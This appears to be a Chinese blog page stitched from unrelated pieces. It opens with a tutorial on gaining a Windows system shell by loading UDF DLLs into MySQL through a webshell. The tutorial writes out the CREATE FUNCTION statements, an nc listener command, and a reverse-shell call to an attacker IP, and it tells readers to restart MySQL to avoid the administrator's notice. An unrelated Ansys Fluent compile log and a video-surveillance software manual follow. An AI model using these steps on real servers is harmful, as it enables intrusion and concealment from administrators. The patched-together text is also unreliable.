利用Mix.dll My_udf.dll提升权限

本文介绍了一种通过利用MYSQL弱口令进行提权的新方法。前提条件为目标主机安装了MYSQL且已知其登录凭证。文中详细讲解了如何通过上传特定DLL文件并执行SQL语句来获取系统级权限。
 
S-serv提权方式人人都会用了,搞得现在的主机都配置得非常安全,看来攻击手法的层出不穷也是造成中国网络安全进步的一大原因之一,还有其他的pcanywhere获取密码,替换服务,等等。但是现在也没这么好搞了,随着安全意识的提高,之前的方式估计不怎么管用,现在我给大家介绍一下一种新的提权方式,看过古典LM做的那动画的朋友都知道吧?


利用MYSQLl弱口令拿到系统权限,在WEBSHEL上也可实现,不过有个前提,就是目标主机装有MYSQL,而你又知道MYSQL的用户和密码,才可以进行提权。WEBSHELL获得了,找用户和密码也不是什么难事。


现在我拿我另外一台机器做示范,已经把PHPSHELL传上去了,一般来说连接MYSQL的帐户密码很好找,随便编辑一个PHP文件,就看到了。
看到了吧,用户名:root 密码:123456 库名:php 然后怎么办呢?


先用SQL Query 建立连接,哈连接成功了,现在开始将我们的提权用滴东东:Mix.dll My_udf.dll上传上去先.OK,传好了,Mix.dll用于反弹连接,My_udf.dll是正向连接,直接用连接对方的3306端口然后输入密码就可获得CMDSHELL。


好,不多说了,传上去之后呢就执行以下SQL语句create function Mixconnect returns string soname 'd://php//php//Mix.dll'; 来注册函数.


出现SQL语句成功执行!


离拿到CMDSHELL已经不远了,我们先用NC在本地监听一个端口先,Nc -l -p 1234 (这个我想不用截图了吧)而后执行语句:select Mixconnect('192.168.1.254','1234'); 来激活那个函数,执行成功,然后看看我们的NC有反映没,成功得到CMSHELL,不过这时对方的MYSQL已经假死咯,我们要把MYSQL服务进程给kill掉,然后重新启动MYSQL服务才行,不然管理员发现网站运行不了了,那就。。。。

如果该服务器不允许连接任何外部IP和端口,而他的3306端口却是对外开的!这时My_udf.dll就该上场了,使用方法和Mix一样,连接MYSQL成功后执行如下语句:create function my_udfdoor returns string soname 'D://php//php/my_udf.dll'; 执行语句成功后,然后我们就开始激活这个函数,输入语句:select my_udfdoor (''); 然后用nc连接3306端口,然后输入fuck 就可以得到一个cmdshell了.
Copied C:\1wjzl\PROCESS/.\o2mfr3.c to libudf\src (system "copy "C:\0rjaz\ansys\ANSYSI~1\v221\fluent"\fluent22.1.0\src\udf\sconstruct.udf "libudf\win64\3ddp_host\SConstruct" ") ????? 1 ??????? (system "copy "C:\0rjaz\ansys\ANSYSI~1\v221\fluent"\fluent22.1.0\src\udf\scons_test.bat "libudf\win64\3ddp_host\scons_test.bat" ") ????? 1 ??????? (chdir "libudf")(chdir "win64\3ddp_host")Compiler used is "C:\0rjaz\ansys\ANSYSI~1\v221\fluent"\ntbin\clang\bin\clang-cl Linker used is "C:\0rjaz\ansys\ANSYSI~1\v221\fluent"\ntbin\clang\bin\lld-link Copy("C:\1wjzl\PROCESS\libudf\win64\3ddp_host\resolve.exe", "C:\0rjaz\ansys\ANSYSI~1\v221\fluent\ntbin\win64\resolve.exe") Copy("C:\1wjzl\PROCESS\libudf\win64\3ddp_host\o2mfr3.c", "C:\1wjzl\PROCESS\libudf\src\o2mfr3.c") c_sources ['o2mfr3.c', 'udf_names.c'] c_sources_ ['o2mfr3.c'] In file included from o2mfr3.c:1: In file included from C:\0rjaz\ansys\ANSYSI~1\v221\fluent\fluent22.1.0\src\udf\udf.h:22: In file included from C:\0rjaz\ansys\ANSYSI~1\v221\fluent\fluent22.1.0\src\main\global.h:266: In file included from C:\0rjaz\ansys\ANSYSI~1\v221\fluent\fluent22.1.0\src\storage\var.h:10: C:\0rjaz\ansys\ANSYSI~1\v221\fluent\ntbin\clang\10\Include\10.0.18362.0\shared\basetsd.h(322,12): warning: cast to 'void * __ptr32' from smaller integer type 'unsigned long' [-Wint-to-void-pointer-cast] return((void * POINTER_32) (unsigned long) (ULONG_PTR) p); ^ 1 warning generated. In file included from udf_names.c:3: In file included from C:\0rjaz\ansys\ANSYSI~1\v221\fluent\fluent22.1.0\src\udf\udf.h:22: In file included from C:\0rjaz\ansys\ANSYSI~1\v221\fluent\fluent22.1.0\src\main\global.h:266: In file included from C:\0rjaz\ansys\ANSYSI~1\v221\fluent\fluent22.1.0\src\storage\var.h:10: C:\0rjaz\ansys\ANSYSI~1\v221\fluent\ntbin\clang\10\Include\10.0.18362.0\shared\basetsd.h(322,12): warning: cast to 'void * __ptr32' from smaller integer type 'unsigned long' [-Wint-to-void-pointer-cast] return((void * POINTER_32) (unsigned long) (ULONG_PTR) p); ^ 1 warning generated. lld-link: error: undefined symbol: MATERIAL_SPECIES_INDEX >>> referenced by o2mfr3.obj:(calc_interior_o2_flux) scons: *** [libudf.dll] Error 1 (system "copy "C:\0rjaz\ansys\ANSYSI~1\v221\fluent"\fluent22.1.0\src\udf\sconstruct.udf "libudf\win64\3ddp_node\SConstruct" ") ????? 1 ??????? (system "copy "C:\0rjaz\ansys\ANSYSI~1\v221\fluent"\fluent22.1.0\src\udf\scons_test.bat "libudf\win64\3ddp_node\scons_test.bat" ") ????? 1 ??????? (chdir "libudf")(chdir "win64\3ddp_node")Compiler used is "C:\0rjaz\ansys\ANSYSI~1\v221\fluent"\ntbin\clang\bin\clang-cl Linker used is "C:\0rjaz\ansys\ANSYSI~1\v221\fluent"\ntbin\clang\bin\lld-link Copy("C:\1wjzl\PROCESS\libudf\win64\3ddp_node\resolve.exe", "C:\0rjaz\ansys\ANSYSI~1\v221\fluent\ntbin\win64\resolve.exe") Copy("C:\1wjzl\PROCESS\libudf\win64\3ddp_node\o2mfr3.c", "C:\1wjzl\PROCESS\libudf\src\o2mfr3.c") c_sources ['o2mfr3.c', 'udf_names.c'] c_sources_ ['o2mfr3.c'] In file included from o2mfr3.c:1: In file included from C:\0rjaz\ansys\ANSYSI~1\v221\fluent\fluent22.1.0\src\udf\udf.h:22: In file included from C:\0rjaz\ansys\ANSYSI~1\v221\fluent\fluent22.1.0\src\main\global.h:266: In file included from C:\0rjaz\ansys\ANSYSI~1\v221\fluent\fluent22.1.0\src\storage\var.h:10: C:\0rjaz\ansys\ANSYSI~1\v221\fluent\ntbin\clang\10\Include\10.0.18362.0\shared\basetsd.h(322,12): warning: cast to 'void * __ptr32' from smaller integer type 'unsigned long' [-Wint-to-void-pointer-cast] return((void * POINTER_32) (unsigned long) (ULONG_PTR) p); ^ 1 warning generated. In file included from udf_names.c:3: In file included from C:\0rjaz\ansys\ANSYSI~1\v221\fluent\fluent22.1.0\src\udf\udf.h:22: In file included from C:\0rjaz\ansys\ANSYSI~1\v221\fluent\fluent22.1.0\src\main\global.h:266: In file included from C:\0rjaz\ansys\ANSYSI~1\v221\fluent\fluent22.1.0\src\storage\var.h:10: C:\0rjaz\ansys\ANSYSI~1\v221\fluent\ntbin\clang\10\Include\10.0.18362.0\shared\basetsd.h(322,12): warning: cast to 'void * __ptr32' from smaller integer type 'unsigned long' [-Wint-to-void-pointer-cast] return((void * POINTER_32) (unsigned long) (ULONG_PTR) p); ^ 1 warning generated. lld-link: error: undefined symbol: MATERIAL_SPECIES_INDEX >>> referenced by o2mfr3.obj:(calc_interior_o2_flux) scons: *** [libudf.dll] Error 1 Done.
05-29
家庭视频监控系统使用说明 操作注意事项 (1)本系统默认操作员用户名为:mr,密码为:mrsoft。 (2)本系统使用的硬件是天敏VC4000监控卡,其中使用了Mix.dll和Sa7134Capture.dll两个组件,在运行程序前,需要将这些文件添加到当前工程中。程序中没有提供这些文件。 操作流程 系统主界面如图1.1所示,本视频监控系统主要实现了云台控制、快照和录像、录像回放、定时自动监控、监控管理及日志。 图1.1 家庭视频监控系统主界面 云台控制 视频监控模块中,可以通过手动控制云台实现视频的聚焦、对焦、光圈和雨刷等效果,而且能够控制云台的上、下、左、右转动,从而监控各个不同的方向。云台控制运行结果如图1.2所示。 图1.2 云台控制 色彩控制   视频监控模块中,当选中某个视频监控窗口时,用户可以通过“色彩控制”区域的滑动条对视频窗口进行亮度、对比度、饱和度和色度的调整。色彩控制运行结果如图1.3所示。 图1.3 色彩控制 图像抓拍及生成监控录像   视频监控模块中,用户可以通过在“快照与录像”区域单击“快照”、“录像”按钮进行图像抓拍及录像功能,其中快照主要有bmp和jpg两种格式,录像则保存为avi格式。快照与录像运行结果如图1.4所示。 图1.4 图像抓拍及生成监控录像 定时录像设置   视频监控模块中,当用户在主窗体的“快照与录像”区域单击“定时录像”按钮时,弹出“定时录像设置”窗体,该窗体中,用户可以设置定时录像的频率及时刻。定时录像设置窗体运行结果如图1.5所示。 图1.5 定时录像设置 录像回放   录像回放主要用来选择播放已经录制的视频文件,录像回放窗体中,单击“回放”按钮,打开“选择视频文件”对话框,用户选择完要播放的视频文件后,单击“确定”按钮,即可观看选择的视频文件。录像回放运行结果如图1.6所示。 图1.6 录像回放 注册程序   注册程序主要实现软件的注册功能,该窗体运行时,自动获得本机机器码,然后用户手动输入注册码,单击“注册”按钮,如果注册码正确,则成功注册该软件,否则,提示注册码错误。软件注册窗体运行结果如图1.7所示。 图1.7 注册程序
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值